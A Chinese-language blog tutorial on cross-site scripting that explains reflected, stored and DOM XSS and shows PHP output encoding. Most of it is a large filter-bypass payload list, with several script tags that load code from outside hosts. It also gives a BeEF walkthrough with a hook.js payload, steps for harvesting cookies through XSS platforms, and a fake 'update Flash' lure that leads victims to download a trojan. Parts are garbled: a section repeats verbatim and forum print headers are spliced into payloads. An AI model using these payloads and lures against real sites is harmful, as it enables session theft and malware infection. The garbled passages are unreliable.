首页 > 其他分享 >XSS跨站脚本攻击

XSS跨站脚本攻击

时间:2024-03-25 20:01:17浏览次数:32  
标签:脚本 XSS 跨站 浏览器 xss 用户 过滤 页面

免责声明

传播、利用本博客所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本博客及作者不为此承担任何责任,一旦造成后果请自行承担!谢谢!

XSS跨站脚本攻击

XSS是什么

XSS全称呼跨站脚本,是将任意JavaScript代码插入到Web用户页面里执行以达到攻击目的的漏洞,当用户浏览该页面时,这些嵌入在Web页面的代码就会被执行。

产生原理

形成XSS漏洞的主要原因是:因为Web程序对用户输入的内容,和程序输出的内容没有经过严格过滤,导致攻击者构造的恶意代码输入后,又被当作正常代码输出至前端页面,浏览器当作有效代码解析执行从而产生危害。

漏洞危害

● 网络钓鱼,包括获取各类用户账号。
● 窃取用户`cookie`信息,从而获取用户隐私信息或者利用用户身份进一步对网站执行操作
● 劫持用户(浏览器会话)从而执行任意操作。
● 网页挂马
● 结合其他漏洞,如CSRF,实施进一步危害
● 传播跨站脚本蠕虫等

XSS分类

XSS漏洞可以分为三种类型: 反射型XSS、存储型XSS、DOM型XSS。

反射型XSS

介绍

反射型XSS又称非持久性、参数型跨站脚本。反射型XSS的恶意代码在Web应用的参数中,需要诱骗受害者点击访问含有恶意代码的链接。

特点

攻击方式

需要欺骗用户自己去点含有XSS的链接,才能触发XSS代码,攻击者通过发送邮件或诱导等方
式,将包含又XSS恶意代码的链接发送目标用户。当目标用户访问该链接时,服务器接收该用户的请求并进行处理,然后服务器把带有XSS恶意脚本的代码发送给目标用户浏览器,浏览器解析XSS恶意代码,触发XSS攻击。

如何触发反射型XSS漏

  1. 构造恶意代码的链接
  2. 通过某种方式发送给受害者。
  3. 受害者打开页面,向服务器发送请求。
  4. 服务器解析地址,然后返回源代码。
  5. 浏览器接收,解析代码触发XSS漏洞攻击。

存储型XSS

介绍

储型是持久型跨站脚本,持久性体现在XSS代码不在某个参数中,而是写进数据库或文件中。当用户与数据库交互时触发代码加载执行。这种XSS比较危险,容易造成蠕虫、窃取Cookie等操作。

**特点:**攻击脚本将被永久地存放在目标服务器地数据库或文件中,具有很高地隐蔽性。

攻击方式

这种攻击常见于论坛、博客、留言板等,攻击者在写入时将恶意脚本连同正常内容一起写入
进去。恶意脚本被永久地存放在服务器地后端存储器中,当其他用户浏览到这个页面时,恶意脚本会在用户浏览器中加载执行造成XSS攻击

可能出现的位置

博客评论,用户评论,留言板,聊天室,HTML 电子邮件,wikis

DOM型XSS

介绍

通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。

DOM,全称 Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。 DOM 型 XSS 其实是一种特殊类型的反射型 XSS,它是基于DOM 文档对象模型的一种漏洞。 在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的 Document object 文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。
可以通过 JS 脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM 来动态修改页面内容,从客户端获取 DOM 中的数据并在本地执行。基于这个特性,就可以利用JS 脚本来实现 XSS 漏洞的利用;

经常出现 dom xss 的关键语句:

  • document.referer 属性
  • window.name 属性
  • location 属性
  • innerHTML 属性
  • documen.write 属性

定义::DOM型XSS比较特殊,其中攻击的payload由于修改受害者浏览器页面的DOM树而执行的。其特殊的地方就是恶意代码在浏览器本地DOM执行,并不会传到服务器上。

攻击方式:

用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应
不会以任何形式包含攻击者的脚本。 当用户的浏览器处理这个响应时, DOM对象就会处理XSS代码,导致存在XSS漏洞 。

代码分析

DOM 型XSS程序中,只有 html 代码,dom通过操作HTML实现更改HTML 属性、方法、事件,因此程序中没有与服务器进行交互;

XSS防御

XSS 防御的总体思路是:

  • 对输入(和 URL 参数)进行过滤,对输出进行编码,也就是对提交的所有内容进行过滤
  • 对 url 中的参数进行过滤,过滤掉会导致脚本执行的相关内容;
  • 然后对动态输出到页面的内容进行 html 编码,使脚本无法在浏览器中执行;

XSS测试语句

在网站是否存在 xss 漏洞时,应该输入一些标签如<、>输入后查看网页源代码是否过滤标签,如果没过滤,很大可能存在 xss 漏洞;

<script>alert(1)</script>
<script>console.log(6)</script>
<script>console.log('f')</script>
<img src=x one rror=alert(1)>
<svg onl oad=alert(1)
<a href=javascript:alert(1)>
<a href='javascript:alert(1)'>aa</a>
(1)普通的 XSS JavaScript 注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG 标签 XSS 使用 JavaScript 命令
<IMG SRC=http://3w.org/XSS/xss.js/>
(3)IMG 标签无分号无引号
<IMG SRC=javascript:alert('XSS')>
(4)IMG 标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert('XSS')>
(5)HTML 编码(必须有分号)
<IMG SRC=javascript:alert("XSS")>
(6)修正缺陷 IMG 标签
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
(7)formCharCode 标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
(8)UTF-8 的 Unicode 编码(计算器)
<IMG SRC=jav..省略..S')>
(9)7 位的 UTF-8 的 Unicode 编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>
(10)十六进制编码也是没有分号(计算器)
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
(11)嵌入式标签,将 Javascript 分开
<IMG SRC="jav ascript:alert('XSS');">
(12)嵌入式编码标签,将 Javascript 分开
<IMG SRC="jav ascript:alert('XSS');">
(13)嵌入式换行符
<IMG SRC="jav ascript:alert('XSS');">
(14)嵌入式回车
<IMG SRC="jav ascript:alert('XSS');">
(15)嵌入式多行注入 JavaScript,这是 XSS 极端的例子
<IMG SRC="javascript:alert('XSS')">
(16)解决限制字符(要求同页面)
<script>z='document.'</script><script>z=z+'write("'</script>
<script>z=z+'<script'</script><s
cript>z=z+'
src=ht'</script><script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script>
<script>z=z+'.ne
t/1.'</script><script>z=z+'js></sc'</script><script>z=z+'ript>")'</script>
<script>eval_r(z)<
/script>
(17)空字符 12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl -e 'print "
<IMG
SRC=java\0script:alert(\"XSS\")>";' > out
(18)空字符 2,空字符在国内基本没效果.因为没有地方可以利用
perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out
(19)Spaces 和 meta 前的 IMG 标签
<IMG SRC=" javascript:alert('XSS');">
(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(21)Non-alpha-non-digit XSS to 2
<BODY onl oad!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT>
(23)双开括号
<<SCRIPT>alert("XSS");//<</SCRIPT>
(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRChttp://3w.org/XSS/xss.js?<B>
(25)无结束脚本标记 2
<SCRIPT SRC=//3w.org/XSS/xss.js>
(26)半开的 HTML/JavaScript XSS
<IMG SRC="javascript:alert('XSS')"
(27)双开角括号
<iframe src=http://3w.org/XSS.html <
(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
(29)换码过滤的 JavaScript
\";alert('XSS');//
(30)结束 Title 标签
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
(31)Input Image
<INPUT SRC="javascript:alert('XSS');">
(32)BODY Image
<BODY BACKGROUND="javascript:alert('XSS')">
(33)BODY 标签
<BODY('XSS')>
(34)IMG Dynsrc
<IMG DYNSRC="javascript:alert('XSS')">
(35)IMG Lowsrc
<IMG LOWSRC="javascript:alert('XSS')">
(36)BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">
(37)STYLE sheet
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
(38)远程样式表
<LINK REL="stylesheet" HREF="http://3w.org/xss.css">
(39)List-style-image(列表式)
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
(40)IMG VBscript
<IMG SRC='vbscript:msgbox("XSS")'></STYLE><UL><LI>XSS
(41)META 链接 url
<META HTTP-EQUIV="refresh" CONTENT="0;URL=http://;URL=javascript:alert('XSS');">
(42)Iframe
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
(43)Frame
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>12-7-1 T00LS -
Powered by Discuz!
Boardhttps://www.a.com/viewthread.php?action=printable&tid=15267 3/6
(44)Table
<TABLE BACKGROUND="javascript:alert('XSS')">
(45)TD
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
(46)DIV background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
(47)DIV background-image 后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
(48)DIV expression
<DIV STYLE="width: expression_r(alert('XSS'));">
(49)STYLE 属性分拆表达
<IMG STYLE="xss:expression_r(alert('XSS'))">
(50)匿名 STYLE(组成:开角号和一个字母开头)
<XSS STYLE="xss:expression_r(alert('XSS'))">
(51)STYLE background-image
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE>
<ACLASS=XSS></A>
(52)IMG STYLE 方式
exppression(alert("XSS"))'>
(53)STYLE background
XSS-Labs
项目地址:https://github.com/do0dl3/xss-labs
<STYLE><STYLEtype="text/css">BODY{background:url("javascript:alert('XSS')")}
</STYLE>
(54)BASE
<BASE HREF="javascript:alert('XSS');//">
(55)EMBED 标签,你可以嵌入 FLASH,其中包涵 XSS
<EMBED SRC="http://3w.org/XSS/xss.swf" ></EMBED>
(56)在 flash 中使用 ActionScrpt 可以混进你 XSS 的代码
a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval_r(a+b+c+d);
(57)XML namespace.HTC 文件必须和你的 XSS 载体在一台服务器上
<HTML xmlns:xss><?import namespace="xss"
implementation="http://3w.org/XSS/xss.htc"><xss:xss>XSS</xss:xss></HTML>
(58)如果过滤了你的 JS 你可以在图片里添加 JS 代码来利用
<SCRIPT SRC=""></SCRIPT>
(59)IMG 嵌入式命令,可执行任意命令
<IMG SRC="http://www.a.com/a.php?a=b">
(60)IMG 嵌入式命令(a.jpg 在同服务器)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
(61)绕符号过滤
<SCRIPT a=">" SRC="http://3w.org/xss.js"></SCRIPT>
(62)<SCRIPT =">" SRC="http://3w.org/xss.js"></SCRIPT>
(63)<SCRIPT a=">" " SRC="http://3w.org/xss.js"></SCRIPT>
(64)<SCRIPT "a='>'" SRC="http://3w.org/xss.js"></SCRIPT>
(65)<SCRIPT a=`>` SRC="http://3w.org/xss.js"></SCRIPT>
(66)12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?action=printable&tid=15267 4/6<SCRIPT a=">'>"
SRC="http://3w.org/xss.js"></SCRIPT>
(67)<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://3w.org/xss.js">
</SCRIPT>
(68)URL 绕行
<A HREF="http://127.0.0.1/">XSS</A>
(69)URL 编码
<A HREF="http://3w.org">XSS</A>
(70)IP 十进制
<A HREF="http://3232235521″>XSS</A>
(71)IP 十六进制
<A HREF="http://0xc0.0xa8.0×00.0×01″>XSS</A>
(72)IP 八进制
<A HREF="http://0300.0250.0000.0001″>XSS</A>
(73)混合编码
<A HREF="http://6 6.000146.0×7.147/"">XSS</A>
(74)节省[http:]
<A HREF="//www.google.com/">XSS</A>
(75)节省[www]
<A HREF="http://google.com/">XSS</A>
(76)绝对点绝对 DNS
<A HREF="http://www.google.com./">XSS</A>
(77)javascript 链接
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

XSS-Labs

项目地址:https://github.com/do0dl3/xss-labs

XSS绕过

gpc过滤字符

如果 gpc 开启的时候,特殊字符会被加上斜杠即,‘变成’ ,xss 攻击代码不要带用单引号或双引号。

GPC是一种常见的缩写,表示在Web应用程序中处理用户输入时通常需要过滤的三种变量:GETPOSTCOOKIE。这三个变量包含了用户通过Web浏览器发送给Web服务器的数据,因此它们可能包含恶意代码或意外的输入,应该进行过滤和验证,以确保应用程序的安全性和可靠性。

在PHP中,可以使用一些函数来过滤GPC变量中的特殊字符和敏感字符,以确保它们不会被误解或滥用。以下是一些常见的过滤函数:

  • htmlspecialchars:将特殊字符转换为HTML实体,以避免跨站点脚本攻击(XSS)。
  • strip_tags:从字符串中删除HTML和PHP标记,以避免XSS攻击和代码注入攻击。
  • addslashes:在字符串中添加反斜杠字符,以避免SQL注入攻击。
  • mysqli_real_escape_string:转义字符串中的特殊字符,以避免SQL注入攻击。

以下是一个示例,演示如何使用 htmlspecialchars 函数来过滤GPC变量中的特殊字符:

$name = htmlspecialchars($_POST['name']);
$email = htmlspecialchars($_POST['email']);
$message = htmlspecialchars($_POST['message']);

在上面的示例中,htmlspecialchars 函数将 $name$email$message 变量中的特殊字符转换为HTML实体,以避免XSS攻击。

总之,处理GPC变量时应该进行过滤和验证,以确保应用程序的安全性和可靠性。可以使用一些PHP函数来过滤GPC变量中的特殊字符和敏感字符,以避免常见的Web安全问题,例如XSS攻击和SQL注入攻击。GPC是一种常见的缩写,表示在Web应用程序中处理用户输入时通常需要过滤的三种变量:GETPOSTCOOKIE。这三个变量包含了用户通过Web浏览器发送给Web服务器的数据,因此它们可能包含恶意代码或意外的输入,应该进行过滤和验证,以确保应用程序的安全性和可靠性。

在PHP中,可以使用一些函数来过滤GPC变量中的特殊字符和敏感字符,以确保它们不会被误解或滥用。以下是一些常见的过滤函数:

  • htmlspecialchars:将特殊字符转换为HTML实体,以避免跨站点脚本攻击(XSS)。
  • strip_tags:从字符串中删除HTML和PHP标记,以避免XSS攻击和代码注入攻击。
  • addslashes:在字符串中添加反斜杠字符,以避免SQL注入攻击。
  • mysqli_real_escape_string:转义字符串中的特殊字符,以避免SQL注入攻击。

以下是一个示例,演示如何使用 htmlspecialchars 函数来过滤GPC变量中的特殊字符:

$name = htmlspecialchars($_POST['name']);
$email = htmlspecialchars($_POST['email']);
$message = htmlspecialchars($_POST['message']);

在上面的示例中,htmlspecialchars 函数将 $name$email$message 变量中的特殊字符转换为HTML实体,以避免XSS攻击。

总之,处理GPC变量时应该进行过滤和验证,以确保应用程序的安全性和可靠性。可以使用一些PHP函数来过滤GPC变量中的特殊字符和敏感字符,以避免常见的Web安全问题,例如XSS攻击和SQL注入攻击。

alert过滤

当页面过滤 alert 这个函数时,因为这个函数会弹窗,不仅很多程序会对他进行 过滤,而且很多 waf 都会对其进行拦截。所以不存在 alert 即可;

<script>prompt(/xss/);</script>
<script>confirm(1);</script>
<script src=http://www.xss123.com/eciAKj?1623635663></script>

过滤标签

在程序里如果使用 html 实体过滤,在 php 会使用 htmlspecialchars()对输入的字符进行实体化,实体化之后的字符不会在 html 执行。把预定义的字符 “<” (小于) 和 “>” (大于)转换为 HTML 实体,构造 xss 恶意代码大多数都必须使用<或 者>,这两个字符被实体化后在 html 里就不能执行了;

URL编码

<a href="javascript:%61%6c%65%72%74%28%32%29">123</a>

JS编码

八进制编码
<script>eval("\141\154\145\162\164\50\61\51");</script>
16 进制编码
<script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script>
jsunicode 编码
<script>\u0061\u006c\u0065\u0072\u0074('xss');</script>

构造事件绕过

如果不能依靠属性进行跨站,那么还可以利用事件处理函数:
<input type = "button" value = "clickme" οnclick="alert('click me')" />
事件既能让JS脚本运行,自然也可以执行跨站,另外像onerror、onMouseover等都可利用的是事件处理函
数;
最后还可以使用fuzz大法去做模糊测试,然后构造payload,更事半功倍!

XSS平台

在初步探测到xss漏洞时,此时我们可以使用xss在线平台,去获取一些我们需要的信息,比如位置、键盘记录、ip、Cookie

COOKIE介绍:

  • Cookie 是一些数据, 存储于你电脑上的文本文件中
  • 当web 服务器向浏览器发送 web 页面时,在连接关闭后,服务端不会记录用户的信息
  • Cookie 的作用就是用于解决 “如何记录客户端的用户信息”
  • 当用户访问 web 页面时,登录信息可以记录在 cookie 中
  • 在用户下一次访问该页面时,可以在 cookie 中读取用户访问记录
  • cookie是有时效性的且遵循同源策略

COOKIE伪造浏览器插件:

  • EditThisCookie
https://xss.pt/xss.php?do=login
https://xssaq.com/login/
自己搭建:https://github.com/78778443/xssplatform

BEFF-XSS平台

工具安装

sudo apt-get update
sudo apt-get install beef-xss

Beef是专注于利用浏览器漏洞,全称 The Browser Exploiation Framework.
Beef提供了一个Web界面供操作,只要访问访问嵌入Hook.js页面1,或加载Hook.js文件的浏览器,就会不断地以GET方式将其自身地相关消息发送Beef地Server端。

账户密码: beef/beef

启动

sudo beef-xss

*初次启动时,会设置新的密码,启动以后在浏览器访问

工具使用

登录后进入Beff界面

我们主要利用的Payload是Hook.js

<script src='http://IP(运行beef主机的IP):3000/hook.js'></script>

浏览器解析该js后,会上线至Beef。

  1. 将payoad插入到靶场环境中
<script src='http:/192.168.10.172:3000/hook.js'></script>
  1. 插入加载后,Beef界面就会出现浏览器信息部分,显示访问者的IP地址信息。

Beff管理

在beef上上钩了的受害机,beef对其可以获取到很多主机、浏览器信息

  1. Details是浏览器的信息
    其中details选项卡中显示的是被控制主机的信息。

  2. commands-命令模块
    Commands是你能对该浏览器进行哪些操作。

主要模块

Browsers #针对浏览器的操作
Exploits #针对于部分CVE漏洞利用
Host #针对受害者主机进行操作,如:查看杀软、查看剪切板内容。
Network #针对用户网络环境进行操作
Persistence(持久)
等其他模块。
绿色圆圈:表示模块适合目标浏览器,并且执行结果对客户端不可见
橙色圆圈:模块可用,但结果对用户可见(CAM 弹窗申请权限)
红色圆圈:表示模块不适用与当前用户,有些红色模块也可以正常执行
灰色圆圈:模块未在目标浏览器上测试过

Beff操作

获取Cookie信息

Browser -> Get Cookie -> Execute

社会工程
在对方网站浏览器显示告警框。

你的浏览器Flash版本过低,请重新安装!

当对方点击Install的时候,会跳转至我们指定的网站去下载软件,那么我们可以将其引导到我们搭建的
钓鱼网站,让其下载木马运行。

标签:脚本,XSS,跨站,浏览器,xss,用户,过滤,页面
From: https://blog.csdn.net/qq_46454094/article/details/136950644

相关文章

  • Django框架之csrf跨站请求
    【一】跨站请求伪造介绍【1】引入CSRF(Cross-SiteRequestForgery)跨站请求伪造是一种常见的网络攻击方式。攻击者通过诱导受害者访问恶意网站或点击恶意链接将恶意请求发送到目标网站上利用受害者在目标网站中已登录的身份来执行某些操作从而达到攻击的目的。【2】举......
  • Vs Code中运行vue命令显示"系统禁止运行脚本"无法在终端使用
    右键点击vscode中的属性,在上面找到兼容性一栏,勾选里面以管理员身份运行在当前电脑中搜索WindowsPowerShell以管理员的身份运行 在里面输入 set-ExecutionPolicyRemoteSigned选择权限A ......
  • 通过rc.local启动docker容器内脚本
       我们常常遇到在已有镜像上开机就运行客制化脚本的需求,如果不想重新构建镜像,可以考虑本方法,利用系统的rc-local.service实现对rc.local的调用,进而启动rc.local中的客制化脚本。   以下以centos7为例:1拉取镜像root@arm:~#dockerpullcentos:centos7centos7:Pu......
  • Linux脚本首行中的#!是什么作用?为文件指定解释器
    起因今天和小伙伴日常在群内吹水的时候,有群友问了这样一个问题:脚本文件第一行加个#!/usr/bin/bash有什么用呢?其实,除了这种之外,还有很多其他写法,比如:#!/bin/bash#!/usr/bin/envbash#!/bin/awk这些写法大同小异,但很多同学像我一样,在之前编写shell脚本的时候顺手就抄过......
  • Django csrf跨站请求伪造,校验,CBV忽略与允许csrf校验
    csrf跨站请求伪造钓鱼网站,搭建一个网站与正规网站一模一样的界面,用户进入到我们的网站中,给指定用户转账,汇款确实提交到银行,但是收款人确实我们自己定义的人。本质在钓鱼网站的页面针对对方账户,只给用户提供一个没有name属性的普通input框,在内部则隐藏一个已经写好的name和value......
  • django脚本orm中使用原生sql
    fromdjango.core.management.baseimportBaseCommandfromchat_greeting_messages.modelsimportGreetingimportosfromdjango.dbimportconnectionclassCommand(BaseCommand):help="Patchinitializationrecruiternotsuitablegretting"......
  • XSS漏洞
    原理程序对输入和输出没有做合适的处理,导致恶意字符输出在前端时被浏览器当作有效代码解析执行后端代码将用户输入的字符当成了js代码去执行xss常用代码<script>alert(/xss/)onclick='alert(1)'onclick属性是HTML元素中的一个事件属性,它用于指定在元素被点击时执行......
  • Linux学习记录13——shell脚本
    一.学习的内容    shell终端解释器提供了诸如循环、分支等高级编程语言才有的控制结构。shell脚本命令的工作方式有下面两种:    交互式:用户每输入一条命令就立即执行        批处理(Batch):由用户事先编写好一个完整的Shell脚本,Shell会一次性执行脚本......
  • xss-labs
    Jsp1.什么是Jspjsp的全称是javaservletpage它就是java的服务器页面因为它相对于servlet传回数据的方法比较简单Servlet的本质是一个基于Java的Web组件,旨在处理HTTP请求并生成HTTP响应2.jsp语法脚本程序可包含任意的java语句但是在jsp中不能包含任何文本,html标签和jsp......
  • 一键掌控:Shell脚本自动化安装与管理Conda环境的艺术
    前面写了个博客《conda:解决多项目开发环境配置的神器!》简单介绍了Conda的安装和基本命令,在做开发时经常会使用Conda建立多个应用环境,Conda的命令虽不复杂,但还是有时会弄混,所以就考虑写个脚本,一条指令创建环境。没啥难度,仅仅是方便自己使用而已。1创建Conda应用环......